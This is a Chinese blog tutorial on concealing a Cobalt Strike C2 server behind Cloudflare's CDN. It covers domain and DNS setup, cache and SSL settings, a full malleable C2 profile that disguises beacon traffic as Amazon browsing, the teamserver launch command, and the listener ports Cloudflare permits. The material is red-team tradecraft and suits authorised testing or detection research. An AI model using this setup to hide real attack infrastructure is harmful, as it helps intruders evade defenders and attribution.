c2服务器CDN隐藏

  1. c2服务器CDN隐藏
  2. 配置CDN
  3. 配置cs profile文件
  4. 实验能否上线

c2服务器CDN隐藏

配置CDN

域名注册:

随便找一个可以注册域名的地方,我用的是阿里云。

cloudflare 免费CDN:

https://www.cloudflare.com/zh-cn/

在GoDaddy购买一个域名后,在Cloudflare处添加站点,将域名填写进去

随后添加一个dns记录

image-20230302110410218

然后需要把域名的dns改成cloudfare提供的dns服务器

image-20230302110544262

修改好域名的dns服务器之后,需要在cdn上面的缓存设置上修改这两个配置,把他们全部打开。

image-20230302111615452

把这个设置成灵活

image-20230302111646403

尝试多地ping

image-20230302112024958

不戳

配置cs profile文件

profile文件的模板,需要把3处的host头修改为我们的域名,然后保存为porfile文件,上传到cs目录下。

## Amazon browsing traffic profile# # Author: @harmj0y#set sleeptime "5000";set jitter    "0";set maxdns    "255";set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

    client {

        header "Accept" "*/*";
        header "Host" "www.amazon.com";

        metadata {
            base64;
            prepend "session-token=";
            prepend "skin=noskin;";
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

    server {

        header "Server" "Server";
        header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
        header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
        header "X-Frame-Options" "SAMEORIGIN";
        header "Content-Encoding" "gzip";

        output {            print;
        }
    }
}

http-post {    
    set uri "/N4215/adj/amzn.us.sr.aps";

    client {

        header "Accept" "*/*";
        header "Content-Type" "text/xml";
        header "X-Requested-With" "XMLHttpRequest";
        header "Host" "www.amazon.com";

        parameter "sz" "160x600";
        parameter "oe" "oe=ISO-8859-1;";        id {
            parameter "sn";
        }

        parameter "s" "3717";
        parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

        output {
            base64;            print;
        }
    }

    server {

        header "Server" "Server";
        header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
        header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
        header "X-Frame-Options" "SAMEORIGIN";
        header "x-ua-compatible" "IE=edge";

        output {            print;
        }
    }
}

随后将这个profile文件上传到服务器上面去,加载这个profile文件

./teamserver ip 密码 ./profile

实验能否上线

image-20230303190918151

然后创建一个监听器

打码的地方填写自己的域名,因为cloudflare的原因这里端口的设置需要注意以下:
若是http,则只能设置80,8080,8880,2052,2082,2086,2095这些端口号
若是https,则只能443,2053,2083,2087,2096,8443 这些端口号

其中的httphost记得填写自己的域名。

image-20230303191111328

成功使用cdn上线,而且可以看到外网ip是不断在变化的。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。